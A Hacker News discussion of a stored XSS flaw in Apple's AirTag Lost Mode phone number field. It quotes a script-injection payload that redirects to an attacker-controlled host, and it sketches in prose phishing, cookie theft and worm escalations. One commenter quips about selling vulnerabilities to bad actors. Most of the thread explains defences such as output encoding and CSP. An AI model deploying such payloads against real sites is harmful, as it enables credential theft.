Apple AirTag Bug Enables ‘Good Samaritan’ Attack(krebsonsecurity.com)
krebsonsecurity.com
Apple AirTag Bug Enables ‘Good Samaritan’ Attack
https://krebsonsecurity.com/2021/09/apple-airtag-bug-enables-good-samaritan-attack/
114 comments
From that page: An attacker intercepts this request, and injects this malicious payload into the phone number field:
<script>window.location=’https://10.0.1.137:8000/indexer.html’;var a = ‘’;</script>
This attack is far more serious than that example reveals. Instead of directing user's elsewhere, you could replace the contents of the page to look like an iCloud login form while remaining inside the apple.com domain.
Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account.
Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account.
> replace the contents of the page to look like an iCloud login form while remaining inside the apple.com domain
Indeed, and with the history.pushState() API, you can even change the URL to be more realistic.
Indeed, and with the history.pushState() API, you can even change the URL to be more realistic.
You would still be scoped to the same domain (found.apple.com).
Would you really be suspicious of found.apple.com/login? Many companies have login flows through subdomains. Google redirects their main login flows through YouTube for some reason.
My guess? The Google login system got complicated when they tried to merge your YouTube and Google account for G+ back in the day. YouTube probably has some say in the authorization or permissions for YT original accounts.
> Depending on how the rest of Apple.com's site is configured, you could steal cookies and allow yourself to login without even needing a fake login page. You might be able to directly manipulate and make changes to the user's account.
IIRC every process inside the iOS has its own cookie jar and browser container, so application X cannot read iOS Safari's or application Y's cookie jar or any cache in that regard.
So, every application's web view is so-called alone on the OS.
IIRC every process inside the iOS has its own cookie jar and browser container, so application X cannot read iOS Safari's or application Y's cookie jar or any cache in that regard.
So, every application's web view is so-called alone on the OS.
That’s irrelevant. The AirTag opens a link in Safari, and allows you to run efficiently arbitrary JavaScript in the page that’s opened (iCloud).
Containers and cookie jars don’t help you if the malicious code is running inside the container your sensitive data lives in.
In this specific example, if the iCloud cookies are marked as JS visible, and there no content security policy preventing inline JS, then the JS injected could grab the iCloud cookie and exfiltrate it to an attacker domain.
Containers and cookie jars don’t help you if the malicious code is running inside the container your sensitive data lives in.
In this specific example, if the iCloud cookies are marked as JS visible, and there no content security policy preventing inline JS, then the JS injected could grab the iCloud cookie and exfiltrate it to an attacker domain.
I wouldn’t even be surprised if there are cookies for *.apple.com that you can read this way…
And even if unquoted input got through, what year is this, 2012? Content-Security-Policy is a thing for almost a decade.
This is like bugs we used to see on "MySpace". Is Apple unable to hire good people anymore given their current corporate culture?
Which culture is that?
Apple hires top hardware engineers, good software engineers, and ok web engineers.
> ok web engineers
How are engineers who introduce XSS issues on production systems "ok" in 2021?
Makes me doubt the rest of your statement too. But mainly because I'm actually a Apple user myself so I know for a fact that neither the software nor the hardware people to be "top".
How are engineers who introduce XSS issues on production systems "ok" in 2021?
Makes me doubt the rest of your statement too. But mainly because I'm actually a Apple user myself so I know for a fact that neither the software nor the hardware people to be "top".
I can only assume they mean "ok" in the sense of "the large fraction of less-sophisticated engineers who only want to think about the happy paths in their code."
Github's co-pilot is a poor code generator, but it's a fair example of how bad a lot of public code is. I'm not sure private code tends to be much better in many orgs.
Github's co-pilot is a poor code generator, but it's a fair example of how bad a lot of public code is. I'm not sure private code tends to be much better in many orgs.
Apple outsources web development to low cost centers as well.
Honest question: are these the results of the seemingly industry-wide push to axe QA departments?
I work in QA at one of the BIG ones on hardware/software, and you would be scared how little top backend/frontend devs care about security, other than pluging in some common solution. I'm right now detecting vulnerabilities, I'm running test cases, writing reports with clear descriptions and screenshots of the holes in the system, and yet I'm pretty sure all of that will go into the managerial sewer because they don't want to take the costs of solving it. But I'm sure if I point to the company/project I'll be kicked out of my job.
I’ve worked on contracts for data integration projects for both financial and healthcare providers. There is a shocking lack of concern about code correctness, security, privacy, etc. And code quality? Pshaw, just pump out a solution, even if it’s a nasty hack instead of a well-considered solution.
Probably not. QA can't really stop devs from shipping buggy code (depending on release pipeline/processes). Of course a top-notch security team should have audited these services and the infrastructure around them, considering it's Apple...
Yup, My experience has been usually needing to give QA a list of strings with SQL / script injection. As well as Unicode strings with characters outside the BMP tho emojis now usually cover that case.
Is putting scripts in a phone number field (or any input field) a well known way to hijack requests? I mean when someone is trying to compromise a site, is this one of the first things they try?
Surely (obviously not) at this point in time there has to be some out-of-the-box browser-engine (webkit/blink/gecko) input sanitation for widgets like "input", "textarea", etc?
I can only imagine this to be the case, so did an apple employee go out of their way to disable this feature? Or is this simply a case of the rookie developer using variable substitutions in a SQL string instead of a prepared statement and bindings? (SQL injection analogy)
----
As @rjmunro mentions nextdoor, if this vulnerability exists in this airtag application, might it actually be wide-spread across the entire iOS and mac OS code-base? Perhaps that's why Rauch heard little back from apple?
Surely (obviously not) at this point in time there has to be some out-of-the-box browser-engine (webkit/blink/gecko) input sanitation for widgets like "input", "textarea", etc?
I can only imagine this to be the case, so did an apple employee go out of their way to disable this feature? Or is this simply a case of the rookie developer using variable substitutions in a SQL string instead of a prepared statement and bindings? (SQL injection analogy)
----
As @rjmunro mentions nextdoor, if this vulnerability exists in this airtag application, might it actually be wide-spread across the entire iOS and mac OS code-base? Perhaps that's why Rauch heard little back from apple?
> Surely (obviously not) at this point in time there has to be some out-of-the-box browser-engine (webkit/blink/gecko) input sanitation for widgets like "input", "textarea", etc?
Client side sanitation of input fields won't save you in this case.
In fact it will never save you.
Here's a "non-technical" example of why it wouldn't help, without even having to go into the details of making manual HTTP requests: Even if you have a browser that tries to sanitize input fields so it doesn't send anything to the server that causes the server to do bad things, an attacker could just use a different browser, or a modified browser, to send whatever the hell they wanted anyways.
Client side input sanitation is not security. It's just for UX.
Client side sanitation of input fields won't save you in this case.
In fact it will never save you.
Here's a "non-technical" example of why it wouldn't help, without even having to go into the details of making manual HTTP requests: Even if you have a browser that tries to sanitize input fields so it doesn't send anything to the server that causes the server to do bad things, an attacker could just use a different browser, or a modified browser, to send whatever the hell they wanted anyways.
Client side input sanitation is not security. It's just for UX.
While what you're saying is true and what I said is not what is actually happening, I don't think you understood what I was trying to describe. And even though that's the case, I may still be wrong.
I understand that client-side validation is only a cosmetic, first-round attempt at sanitation.
My understanding (which is wrong) was that the malicious script was being injected into the html input where it was finally rendered and at the same time invoked. I was suggesting that the contents of an input (the value) should never be rendered (and as a result, activated) as any other contents outside of an input is rendered.
Even if content within an input is never rendered, it makes little difference since the attack is able to inject the script in other places outside of an input anyways.
So as others pointed out, nothing to do with inputs.
I understand that client-side validation is only a cosmetic, first-round attempt at sanitation.
My understanding (which is wrong) was that the malicious script was being injected into the html input where it was finally rendered and at the same time invoked. I was suggesting that the contents of an input (the value) should never be rendered (and as a result, activated) as any other contents outside of an input is rendered.
Even if content within an input is never rendered, it makes little difference since the attack is able to inject the script in other places outside of an input anyways.
So as others pointed out, nothing to do with inputs.
> might it actually be wide-spread across the entire iOS and mac OS code-base?
I suspect this is likely. It's generally accepted that it isn't possible to sanitize arbitrary user input before saving it into the database. There will always be someone called "<script>".
Instead you must format the data correctly when displaying it to the user. That means every place you get data from a database and process or display it, you should be using framework libraries to make sure no injection attacks can happen.
I suspect this is likely. It's generally accepted that it isn't possible to sanitize arbitrary user input before saving it into the database. There will always be someone called "<script>".
Instead you must format the data correctly when displaying it to the user. That means every place you get data from a database and process or display it, you should be using framework libraries to make sure no injection attacks can happen.
Framework libraries or languages that have types for separating taintable data from executable code.
It isn't really so much about data being "taintable", but rather about the fact that not all strings are really the same "type". In this case, the field was probably meant to be "plain text", but it was inserted into HTML without any conversion. Even data that doesn't come from a user (ie: that is not "tainted") needs to be converted to the correct type.
There’s certainly not any inbuilt browser sanitation that prevents you entering XSS or other injection attacks into input fields. Thank goodness. If there was, how could you discuss examples in web forums like this? Or use a webpage to edit code?
XSS and other injections are not problems with data input, they are problems of data output.
XSS and other injections are not problems with data input, they are problems of data output.
[deleted]
Well we are discussing it now with no issue, so clearly the browser could (or could have, probably too late now) picked a sensible default
Browsers aren't doing anything differently because the people who write browsers happen to understand the threat model.
You can sanitize input fields on the client all you want and an attacker would still send whatever the hell they felt like to the server.
You can sanitize input fields on the client all you want and an attacker would still send whatever the hell they felt like to the server.
Trying to sanitize on the input side reminds me of Cisco’s fix for a vulnerability in their routers that involved disallowing requests with a user agent containing “cURL”.
The sensible default is to allow arbitrary text input and pass it on correctly encoded to the next system.
Which is what browsers do.
Which is what browsers do.
Imagine Stack Overflow, but without code snippets. Sounds more like an idea for an art project.
It would probably read like early texts on mathematics before modern notation was invented, where it's all just textual descriptions on how to solve various problems.
It would probably read like early texts on mathematics before modern notation was invented, where it's all just textual descriptions on how to solve various problems.
[deleted]
Adding a flag to allow people to write stackoverlow is perfectly reasonable, the default should not allow non-expert programmers to waltz into issues like this.
This isn't "expert" level knowledge. This is a basic principle of any client / server system.
In fact, including default client side protections would not have fixed this issue (since this issue involved bypassing client side protection.)
In fact, including default client side protections would not have fixed this issue (since this issue involved bypassing client side protection.)
I'm not suggesting that it prevent you from being able to enter specific strings of characters. I think I made that clear by comparing this to a SQL injection issue. After all, how would SQL sites and forums discuss SQL without being able to store and display SQL excerpts?
I'm suggesting that surely these widgets and respective browser engines that enable them would be mature enough to not ineluctably evaluate anything that's entered.
I'm suggesting that surely these widgets and respective browser engines that enable them would be mature enough to not ineluctably evaluate anything that's entered.
That's not at all what's happening here. It doesn't even have anything to do with input fields, except that the field in the HTTP request that stores the information on Apple's servers was supposed to be filled from one.
This kind of attack essentially tricks Apple into including arbitrary HTML/JavaScript in the webpage that shows information when someone scans the tag. There's no reliable way a browser could even know something untoward was happening.
This kind of attack essentially tricks Apple into including arbitrary HTML/JavaScript in the webpage that shows information when someone scans the tag. There's no reliable way a browser could even know something untoward was happening.
Ah! I was actually struggling to understand how inputs had anything to do with it. I thought the input was being rendered with some pre-populated/injected value that in this case was the script.
Thanks for the clarification.
<input><script.../></input>
Thanks for the clarification.
The input field isn’t the problem here. In fact the article even mentions that you need to hijack the request and alter the phone number. So I guess the Apple engineer that created this feature fell for the same misunderstanding that you did: user input can never be trusted, even when validated client side. You always have to do service side validation!
Just to be clear, i wasn't suggesting that client-side validation was the issue.
See my response above.
https://news.ycombinator.com/item?id=28697485
See my response above.
https://news.ycombinator.com/item?id=28697485
The problem here is not input, it’s output. Apple’s web backend is spitting out strings without escaping them to HTML, which is a real novice error at this point in the web’s evolution. Sanitising inputs in browsers would be a nightmare of never ending complication.
Actually you can't "sanitize" inputs as you can't know upfront in which context this data will end up.
So the rule is: Never try to "sanitize" inputs, always sanitize outputs respective to output-context.
Regarding XSS there is this nice overview:
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Ev...
As this is a complicated topic one should never try to escape things "by hand", for example by some "clever" regex. You won't catch this way all the possible encodings!
So the rule is: Never try to "sanitize" inputs, always sanitize outputs respective to output-context.
Regarding XSS there is this nice overview:
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Ev...
As this is a complicated topic one should never try to escape things "by hand", for example by some "clever" regex. You won't catch this way all the possible encodings!
> Is putting scripts in a phone number field (or any input field) a well known way to hijack requests?
100% yes. It's called an XSS vulnerability. It was no 1 in the Open Web Application Security Project (OWASP) Top Ten 2017, although now that sites don't make this mistake very often, it's fallen to number 3 in the 2021 list.
> ... wide-spread across the entire iOS and mac OS code-base
It's not in the iOS or mac OS code-base, it's in the Apple website codebase. It could well be widespread there.
100% yes. It's called an XSS vulnerability. It was no 1 in the Open Web Application Security Project (OWASP) Top Ten 2017, although now that sites don't make this mistake very often, it's fallen to number 3 in the 2021 list.
> ... wide-spread across the entire iOS and mac OS code-base
It's not in the iOS or mac OS code-base, it's in the Apple website codebase. It could well be widespread there.
Is putting scripts in a phone number field (or any input field) a well known way to hijack requests?
It’s on the front page of Hacker News with clickbait headline, so yeah.
It’s on the front page of Hacker News with clickbait headline, so yeah.
Here is a theory: Apple’s response here might have been slow because they misdirected the bug. This is a web stored XSS vulnerability. It has nothing to do with the AirTag, other than that the page is related to that device.
If during the triage they accidentally sent the bug to the team who developed the AirTag’s firmware then they might have got confused and didn’t handle the ticket appropriately.
Obviously this is not an excuse and a big company should know better, but can explain why the handling was sub-optimal. Just look at this very forum and the amount of confusion present in the comments. There are people questioning if a stored XSS is really that bad (yes it is), or asking why browsers don’t validate the inputs by default (wouldn’t help). There is nothing wrong with these questions! The problem and the solution is obvious to someone who worked on web security before, but if this is the first time you are wrapping your mind around the concept you might mess things up. Same way as if a web developer is asked to fix a kernel level buffer overflow, they won’t have the right mental toolset to understand the problem, let alone the ability to fix it.
If during the triage they accidentally sent the bug to the team who developed the AirTag’s firmware then they might have got confused and didn’t handle the ticket appropriately.
Obviously this is not an excuse and a big company should know better, but can explain why the handling was sub-optimal. Just look at this very forum and the amount of confusion present in the comments. There are people questioning if a stored XSS is really that bad (yes it is), or asking why browsers don’t validate the inputs by default (wouldn’t help). There is nothing wrong with these questions! The problem and the solution is obvious to someone who worked on web security before, but if this is the first time you are wrapping your mind around the concept you might mess things up. Same way as if a web developer is asked to fix a kernel level buffer overflow, they won’t have the right mental toolset to understand the problem, let alone the ability to fix it.
Very likely. Because apple does not take bug reports seriously, they probably have no team that is in charge of the whole process from first evaluation to fixing the bug. As soon as the issue is redirected to the responsible development team no one but them cares about it anymore. This hurts the whole company, especially for security issues.
> Apple’s Lost Mode doesn’t currently stop users from injecting arbitrary computer code into its phone number field
Can we be precise when writing about security vulnerabilities? It's a stored XSS in the phone number field.
You can include precise technical details whilst still writing an article suitable for a broad audience.
Can we be precise when writing about security vulnerabilities? It's a stored XSS in the phone number field.
You can include precise technical details whilst still writing an article suitable for a broad audience.
XSS isn't in the phone field. S is in the phonr field. XS is in how Apple delivers the phone field value.
Considering that within days of the launch, a HW-researcher already found a way to rewrite the AirTag to direct to an entirely different URL [1], a "bad actor" might not even bother with such an easily fixable webpage issue...
[1] https://twitter.com/ghidraninja/status/1391165711448518658
[1] https://twitter.com/ghidraninja/status/1391165711448518658
I thought the URL was displayed when you scanned an NFC before you opened it. If the URL is from apple.com or icloud.com, you know you can trust it. If the URL is someone else, you know not to trust it.
An XSS can do a lot more than just redirect you. It could construct a fake Apple login page inside the apple.com domain, so you would have no reason to suspect it was a phishing attack. You could probably construct something like the Myspace Samy worm (https://en.wikipedia.org/wiki/Samy_(computer_worm)) to spread through Airtag users and change everyone's AirTags to point to your malicious script.
An XSS can do a lot more than just redirect you. It could construct a fake Apple login page inside the apple.com domain, so you would have no reason to suspect it was a phishing attack. You could probably construct something like the Myspace Samy worm (https://en.wikipedia.org/wiki/Samy_(computer_worm)) to spread through Airtag users and change everyone's AirTags to point to your malicious script.
> I thought the URL was displayed when you scanned an NFC before you opened it. If the URL is from apple.com or icloud.com, you know you can trust it. If the URL is someone else, you know not to trust it.
While you obviously know what you're talking about, you can't honestly think that the majority of people wouldn't know any better? Even if most people knew better than clicking nwidjjjj.biz/lkqpdi15, something like youfoundmyairtag.hr/tag=238s71j would probably still fool enough to make it a viable vector.
While you obviously know what you're talking about, you can't honestly think that the majority of people wouldn't know any better? Even if most people knew better than clicking nwidjjjj.biz/lkqpdi15, something like youfoundmyairtag.hr/tag=238s71j would probably still fool enough to make it a viable vector.
Many people wont know, notice, or look twice. It doesnt help many popular services use weird url shorteners, so some weird looking url is normal now
> construct a fake Apple login page inside the apple.com domain
Usually you don't even need to do that. As soon as you have script running inside apple.com, you can get the password manager to auto-fill the password, login, steal the login cookie, and do whatever you like, all with nothing visible to the user.
Usually you don't even need to do that. As soon as you have script running inside apple.com, you can get the password manager to auto-fill the password, login, steal the login cookie, and do whatever you like, all with nothing visible to the user.
Once it's fixed this won't be possible, in which a fake Apple sign-in domain will be the best vector.
>... you know you can trust it. If the URL is someone else, you know not to trust it.
If HN readers are the "you" here, then that's accurate. If you're referring to your average person, then I would argue that the majority don't know this.
If HN readers are the "you" here, then that's accurate. If you're referring to your average person, then I would argue that the majority don't know this.
Sadly that is true. Luckily, if they are using a password manager, it will do the right thing.
Some work has been done on UX here, Apple seems to hide the URL and show only the domain name on iOS sometimes, which is interesting, but annoying. Firefox colour codes the domain name part in the URL bar, but it's pretty subtle.
Some work has been done on UX here, Apple seems to hide the URL and show only the domain name on iOS sometimes, which is interesting, but annoying. Firefox colour codes the domain name part in the URL bar, but it's pretty subtle.
> If HN readers are the "you" here, then that's accurate.
Unless it's something very obviously shady, I could see myself fall for something like this.
Unless it's something very obviously shady, I could see myself fall for something like this.
Re url redirect:
I think you are putting too much faith in the average person noticing the url given how susceptible humans are to phishing attacks.
Re xss: how could you a worm in this case go from one airtag to another?
I think you are putting too much faith in the average person noticing the url given how susceptible humans are to phishing attacks.
Re xss: how could you a worm in this case go from one airtag to another?
Password managers and persistent auth cookies are why getting onto the domain matters.
I guess the posited worm would make use of the fact that if an authenticated Apple.com user can inject a payload via marking an air tag as lost and setting its phone number, if that payload runs on an Apple.com page on the victim’s device, it then gets some new apple.com credentials; if the victim also has any airtags, it can mark them as lost and inject the payload into the phone number field.
Requires the airtag to be scanned by another airtag owner, obviously, and unclear who would scan their airtag. Overall, a good example of how to think about how viral reproduction methods can lead to very different replication rates depending on population characteristics and behavior.
I guess the posited worm would make use of the fact that if an authenticated Apple.com user can inject a payload via marking an air tag as lost and setting its phone number, if that payload runs on an Apple.com page on the victim’s device, it then gets some new apple.com credentials; if the victim also has any airtags, it can mark them as lost and inject the payload into the phone number field.
Requires the airtag to be scanned by another airtag owner, obviously, and unclear who would scan their airtag. Overall, a good example of how to think about how viral reproduction methods can lead to very different replication rates depending on population characteristics and behavior.
If I'm an attacker, I'm not using this vulnerability to redirect you to an evil website, but instead to inject a fake login prompt. When you go to check the domain like a good user, you'll see it's on the Apple official website found.apple.com, perfectly safe to enter your credentials on!
The ability to impersonate Apple _on their own domain_ is definitely a bigger risk than rewriting the URL or manufacturing a look-alike tag.
The ability to impersonate Apple _on their own domain_ is definitely a bigger risk than rewriting the URL or manufacturing a look-alike tag.
Interesting. Then again, even if apple made it immutable, what's to stop bad actors from having a bunch of lookalike tags manufactured with plain old NFC?
edit: apple has no native support for reading NFC tags. You can only do it within apps. So i guess my idea wouldn't work for now.
edit: apple has no native support for reading NFC tags. You can only do it within apps. So i guess my idea wouldn't work for now.
XSS is a special type of bug bounty report... we[0] get them occasionally, and by-and-large they're easy to fix -- sanitize the input on the way out.
What some HN commenters don't understand here is that XSS is special not because it's particularly nasty (though it can be), but that it can creep in without you knowing. You can be aware of it, but one can still slip in if you're not actively guarding against it while coding. When you have a hundred things on your mind, and a complex model of frontend-backend living in your brain's RAM, it's easy to forget about something like sanitizing the output of user-generated content.
It's easy to say AFTER the fact that you should never trust user input... obviously I don't, but they still happen, and I'm thankful every day that pentesters check us for XSS as part of our bug bounty process.
XSS vulns happen to a lot of developers, Apple devs included. It definitely should've been caught during a code review process, but the silver lining to all of this is that the fix is actually rather simple... update the site to sanitize the input on the way out. No firmware changes needed to the physical devices themselves.
[0] NodeBB.org
What some HN commenters don't understand here is that XSS is special not because it's particularly nasty (though it can be), but that it can creep in without you knowing. You can be aware of it, but one can still slip in if you're not actively guarding against it while coding. When you have a hundred things on your mind, and a complex model of frontend-backend living in your brain's RAM, it's easy to forget about something like sanitizing the output of user-generated content.
It's easy to say AFTER the fact that you should never trust user input... obviously I don't, but they still happen, and I'm thankful every day that pentesters check us for XSS as part of our bug bounty process.
XSS vulns happen to a lot of developers, Apple devs included. It definitely should've been caught during a code review process, but the silver lining to all of this is that the fix is actually rather simple... update the site to sanitize the input on the way out. No firmware changes needed to the physical devices themselves.
[0] NodeBB.org
There may be situations where a mistake is understandable because it was a who-would-have-thought situation, but on this scenario an effort is required to shoot yourself in the foot.
Apple can't be seriously using an insecure-by-default templating engine to render HTML.
On one of my older projects I'm using a 12 year old framework that already had XSS filtering by default when inserting values.
Apple can't be seriously using an insecure-by-default templating engine to render HTML.
On one of my older projects I'm using a 12 year old framework that already had XSS filtering by default when inserting values.
This multi-billion dollar company is somehow managing to mismanage responsible disclosure and their bug bounty program in such a way that it's actually detrimental to them. It's astonishing.
It's so easy to get soft wins running a program like this. Communicate with the reporter, make sure you have enough of a mandate inside the company to get things fixed in time, it's a boon to your reputation even if the reporter gets to publicly disclose the weakness.
Now they still have the public disclosure of the weakness, but they get the added reputation hit of seemingly not caring, or not being able to get serious security issues that jeopardize their users fixed. Not a good look for a company supposedly obsessed with users' privacy.
It's so easy to get soft wins running a program like this. Communicate with the reporter, make sure you have enough of a mandate inside the company to get things fixed in time, it's a boon to your reputation even if the reporter gets to publicly disclose the weakness.
Now they still have the public disclosure of the weakness, but they get the added reputation hit of seemingly not caring, or not being able to get serious security issues that jeopardize their users fixed. Not a good look for a company supposedly obsessed with users' privacy.
Bug bounty programs are a mess. I once reported a bug to Google. It was serious issue allowing to change 2FA and password without having access to anything except "application specific password" you could generate to use for POP3/IMAP access.
When reported I was confronted by AI; unwelcoming replies "you don't understand this is a feature, not a bug". But, regardless, I was sent a bunch of scary emails with threats not to disclose this to anyone. I gave up, I had other stuff going on in my life.
In two years, with fanfares some "security firm" discovered a bug and rolled out the full self-PR campaign with nice pictures describing a bug and how they got 1337 money. At that point I realized that bug bounty is only for professionals who have connections and willing ears to listen to them.
I understand that from standpoint of big companies, they are flooded with requests, but it doesn't makes me feel better. I reported a serious security issue whole two years before they fixed it, but got absolutely nothing for it except threats and gaslighting.
When reported I was confronted by AI; unwelcoming replies "you don't understand this is a feature, not a bug". But, regardless, I was sent a bunch of scary emails with threats not to disclose this to anyone. I gave up, I had other stuff going on in my life.
In two years, with fanfares some "security firm" discovered a bug and rolled out the full self-PR campaign with nice pictures describing a bug and how they got 1337 money. At that point I realized that bug bounty is only for professionals who have connections and willing ears to listen to them.
I understand that from standpoint of big companies, they are flooded with requests, but it doesn't makes me feel better. I reported a serious security issue whole two years before they fixed it, but got absolutely nothing for it except threats and gaslighting.
I share some of this frustration. I once spent a ton of time finding XSS vulnerabilities for a Delta Airlines bug bounty program. One by one I would find and submit a report with instructions and screenshots. Every time they would reply saying they were already aware of the bug so no bounty. While I don’t doubt they were telling the truth it took away my motivation to invest time in this type of exercise going further.
So what did you learn out of this, and what would you do differently?
What do you think people should do differently when reporting these issues?
What do you think people should do differently when reporting these issues?
These questions imply the onus is on reporters of problems. I get the impression the root causes reside with the companies offering half hearted big bounties.
> These questions imply the onus is on reporters of problems.
Sorry, I did not mean to imply that and disagree with that statement.
The problems are what they are. Fixing them is not the job of whoever encounters a security vulnerability. Yet if you encounter one, you still have to decide what to do.
I encountered one in an Apple service a couple of years ago. Reported it. Never heard back. Vulnerability was still there 6 months afterwards, but I have better things to do than chase them.
The action I took was simply to stop using Apple's products. But that was probably the wrong decision in hinsight, since the alternatives aren't really better.
Sorry, I did not mean to imply that and disagree with that statement.
The problems are what they are. Fixing them is not the job of whoever encounters a security vulnerability. Yet if you encounter one, you still have to decide what to do.
I encountered one in an Apple service a couple of years ago. Reported it. Never heard back. Vulnerability was still there 6 months afterwards, but I have better things to do than chase them.
The action I took was simply to stop using Apple's products. But that was probably the wrong decision in hinsight, since the alternatives aren't really better.
^half hearted bug bounties
> So what did you learn out of this, and what would you do differently?
The obvious lesson is "don't participate in bug hunting programs".
The obvious lesson is "don't participate in bug hunting programs".
> What do you think people should do differently when reporting these issues?
... sell vulns to bad actors for Monero or something?
... sell vulns to bad actors for Monero or something?
I wonder if the EU's next (justifiable) excuse to ride those companies in court is going to be "the gross negligence to protect user data". Not that anyone would expect them to ever be bug-free, but those recent reports on how they handle the white-hats, they really deserves to be slapped with some hefty fine. And it wouldn't really be the money, but the bad publicity that would actually cost them something.
Just imagine those Google ads "mocking" iPhone's "security/privacy" after them being found guilty of not giving two f*cks.
Disclosure: saying this as a fully-invested but otherwise pissed Apple user.
Just imagine those Google ads "mocking" iPhone's "security/privacy" after them being found guilty of not giving two f*cks.
Disclosure: saying this as a fully-invested but otherwise pissed Apple user.
That department is probably in the navel staring face of the business lifecycle, where managers are just absorbed in their own world of projects and goals instead of looking out and making sure the day to day work runs smoothly.
That department is essentially the red-headed stepchild. Think about it, what manager would want to be in charge of a team with no feature set timeline, milestones, etc? It's exactly like you said, having a functional and working team that gets the day to day bugs fixed, it doesn't gain any clout in the company. Instead, you need to be in the AI or hardware division, so you can be respected as a 'pioneer.'
It's all about values. Security and lets say, all submitted bugs fixed within 30 days...that would be a pioneering status for a company. Good luck getting approval for funding and staffing for that though in a company obsessed with those navel-gazing commercials about space travel and such...
It's all about values. Security and lets say, all submitted bugs fixed within 30 days...that would be a pioneering status for a company. Good luck getting approval for funding and staffing for that though in a company obsessed with those navel-gazing commercials about space travel and such...
That makes me wonder if the tenure changed under Tim. Steve was much more of a perfectionist.
[deleted]
[deleted]
Apple has become too big to fail. Most customers and shareholders don’t care about security issues, responsible disclosure or bug bounty programs. And given Apple’s ultra secretive workplace policies, I don’t have a lot of hope that people who actually care within the company can make any significant change either.
Ever try to ship 1000's of SDKs and new OSs at the same time every year, build new hardware, even chips, keep dev pipelines going for years in advance, and keep it from being plastered all over HN and reddit? It's a miracle anything works.
Probably it's a management nightmare to keep all this moving, and clearly parts of Apple are likely poorly managed. I worked there 25 years ago when it was going out of business (before Steve), and it was already a complicated mess.
Does not of course mean they shouldn't make a bug bounty that works. You'd think that someone would care in a company that values privacy. But if you have to deal with 50000 different simultaneous issues some are likely to fall through the cracks.
My last job was at a huge company with even more employees (not tech but built a lot in-house) and you'd be amazed at how much crap is never addressed that seemed obvious to us low level people.
Probably it's a management nightmare to keep all this moving, and clearly parts of Apple are likely poorly managed. I worked there 25 years ago when it was going out of business (before Steve), and it was already a complicated mess.
Does not of course mean they shouldn't make a bug bounty that works. You'd think that someone would care in a company that values privacy. But if you have to deal with 50000 different simultaneous issues some are likely to fall through the cracks.
My last job was at a huge company with even more employees (not tech but built a lot in-house) and you'd be amazed at how much crap is never addressed that seemed obvious to us low level people.
> Most customers and shareholders don’t care about security issues, responsible disclosure or bug bounty programs.
This applies to just about every company.
This applies to just about every company.
Apples entire dev relations team needs a complete overhaul. Pour money into big bounties - they have it! Then use that as justification for charging 30% IAP. Also maybe be nicer to Indy devs who help promote your platform.
If this keeps up in about another week I'll run out of fingers to count the number of security issues Apple has mismanaged recently - that we know about.
[deleted]
It seems the only way to get Apple cooperate is to demonstrate how this can hurt them and their product. Article headlines need to be something like “Attention: Apple’s Airtags are not safe to scan”. Written for consumer consumption then delivered as a PSA to different news media. News sites and channels love to be the first with this stuff too
Responsible Disclosure(tm) strikes again!
Lol. The good old Bobby Tables attack.
They should use all that filthy money they are making from 30% revenue theft on their app store to pay out their bug bounty participants properly.
Theft?
“I should have access to a billion-user ecosystem and hosting and serving and discoverability for free. Never mind that every other platform also costs something to publish on it.”
>"I should have access ... for free."
OP never actually said any of that. You're assuming that that's what they think, when they actually might be content with a much lower percentage. Ask questions of people to get clarification, as user htk did, instead of insinuating they're ignorant asses.
OP never actually said any of that. You're assuming that that's what they think, when they actually might be content with a much lower percentage. Ask questions of people to get clarification, as user htk did, instead of insinuating they're ignorant asses.
Call me crazy, but if someone uses the word “theft” I think it’s implicit that it’s not a question of degree. Theft of pennies is still theft.
So I think it’s a perfectly valid assumption that OP thinks 0% is the right percentage.
So I think it’s a perfectly valid assumption that OP thinks 0% is the right percentage.
Wrong. 30% is too high. They should charge a large chunk lower.
> perfectly valid assumption that OP thinks 0% is the right percentage.
Pfffffft. NO! Of course they should be able to make lots of money. 30% is insane, though.
> perfectly valid assumption that OP thinks 0% is the right percentage.
Pfffffft. NO! Of course they should be able to make lots of money. 30% is insane, though.
It costs nothing to publish on Windows, MacOS, Linux, Android (it costs to be on the play store but not to publish). Plenty of free .apks on github or itch.io for example). Not sure where you got this idea that "every other platform also costs something to publish on it"
I'm not sure I'm comvinced this is a problem. I can do th e same thing just by putting QR codes on stuff. Someone is curious, scans the code, clicks the link. Way cheaper to print sheets of QR code stickers than $30 a pop AirTags
You know, I'm always astonished to which length people go to defend Apple!
Apple makes a gadget that has an explicit mode for good samaritans to locate the original owner. This mode has a security flaw (lack of input validity checks, I thought we overcame this stuff last decade?) that opens up the good samaritan to abuse by means of phishing. And somehow you want to explain to me that that is not a problem? Just because I can take a random car and drive into people doesn't mean a self-driving car having a bug that drives into people isn't an issue, to give an example of why your logic doesn't pass.
Apple makes a gadget that has an explicit mode for good samaritans to locate the original owner. This mode has a security flaw (lack of input validity checks, I thought we overcame this stuff last decade?) that opens up the good samaritan to abuse by means of phishing. And somehow you want to explain to me that that is not a problem? Just because I can take a random car and drive into people doesn't mean a self-driving car having a bug that drives into people isn't an issue, to give an example of why your logic doesn't pass.
> You know, I'm always astonished to which length people go to defend Apple!
The reason this is a serious problem and not equivalent to any other situation where you can get people to click an arbitrary link wasn't immediately obvious to me either. I'm glad the question was asked and answered. I'm not a diehard Apple defender, just someone who's not immersed in this phishing stuff on a daily basis. shrug
The reason this is a serious problem and not equivalent to any other situation where you can get people to click an arbitrary link wasn't immediately obvious to me either. I'm glad the question was asked and answered. I'm not a diehard Apple defender, just someone who's not immersed in this phishing stuff on a daily basis. shrug
Sorry, but what is the answer? I still don't get it.
The answer is that a link provided by an Apple AirTag is expected to be secure. Indeed, a page on an apple domain is expected to have been vetted entirely by Apple, and therefore earns a degree of trust by the good samaritan.
As it stands, a malicious user can replace the entire website, still under an apple.com domain, with content of their own devising. This content can, for example, pretend to be an Apple login page, and exfiltrate entered credentials.
I hope it's obvious why this form of attack is more malicious and more dangerous than simply putting up an arbitrary QR code.
As it stands, a malicious user can replace the entire website, still under an apple.com domain, with content of their own devising. This content can, for example, pretend to be an Apple login page, and exfiltrate entered credentials.
I hope it's obvious why this form of attack is more malicious and more dangerous than simply putting up an arbitrary QR code.
